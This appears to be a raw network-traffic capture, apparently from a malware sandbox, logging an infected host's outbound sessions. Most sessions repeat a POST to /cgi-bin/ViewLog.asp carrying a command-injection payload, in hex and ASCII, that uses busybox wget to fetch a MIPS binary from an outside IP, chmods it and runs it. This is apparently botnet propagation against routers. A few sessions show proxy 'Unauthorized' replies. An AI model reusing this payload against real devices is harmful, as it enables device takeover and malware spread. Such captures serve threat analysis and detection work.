                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 403 Forbiddenerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                229192.168.2.153463094.121.122.1148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.709604025 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                230192.168.2.154059894.131.214.1348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.714303017 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                231192.168.2.155522894.110.71.2398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.762934923 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                232192.168.2.153904694.121.101.1828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:50.882929087 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                233192.168.2.1537270139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:51.149116039 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:23Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                234192.168.2.155429094.121.141.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:51.276040077 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:55.355506897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                235192.168.2.1537392139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:51.876811981 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:24Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                236192.168.2.1537404139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:52.609080076 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:24Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                237192.168.2.1537422139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.315805912 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:25Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                238192.168.2.155526894.23.79.188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.478981972 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:54.395610094 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:55.455485106 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:57.659450054 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.011408091 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.459101915 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.354721069 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:02.169792891 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                239192.168.2.153531295.179.211.1198080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.482207060 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                240192.168.2.154756494.122.87.848080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.531838894 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                241192.168.2.153587631.136.43.868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:53.664151907 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:54.235538006 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:55.355513096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:57.659454107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.267303944 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:11.227160931 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
